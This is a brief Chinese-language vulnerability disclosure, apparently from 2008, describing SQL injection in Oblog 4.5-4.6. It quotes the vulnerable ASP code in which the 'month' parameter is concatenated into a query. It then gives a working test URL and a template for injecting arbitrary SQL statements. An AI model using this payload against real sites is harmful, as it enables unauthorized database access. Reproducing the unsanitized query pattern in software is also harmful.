Date：2008-5-15
Author：Yamato[BCT]
Version：Oblog 4.5-4.6 sql

代码分析：

文件In/Class_UserCommand.asp :

strMonth=Request("month") //第63行

strDay=Request("day")

Dim LastDay

G_P_FileName = G_P_FileName & "month&month=" & strMonth

strDay=Left(strMonth,4) & "-" & Right(strMonth,2) & "-01"

mYear=Left(strMonth,4)

mMonth=Right(strMonth,2)

If InStr ("01,03,05,07,08,10,12",mMonth)> 0 Then

LastDay = "31"……

Else //第109行

SqlPart = " And Addtime >='"&strMonth&"01' AND Addtime < '"&strMonth&LastDay&"' "

构造合适的变量strMonth进行注射

测试方法:

http://localhost/oblog/cmd.asp?do= month&month=2008’ and user>0--01

strDay变量从month中获得日期数据，并判断strDay是否为日期数据。所以构造的注射语句为：

http://localhost/oblog/cmd.asp?do= month&month=2008’(自己的sql语句)--01

执行sql语句采用rst.Open strSql,Conn,1,1

不能修改记录集.

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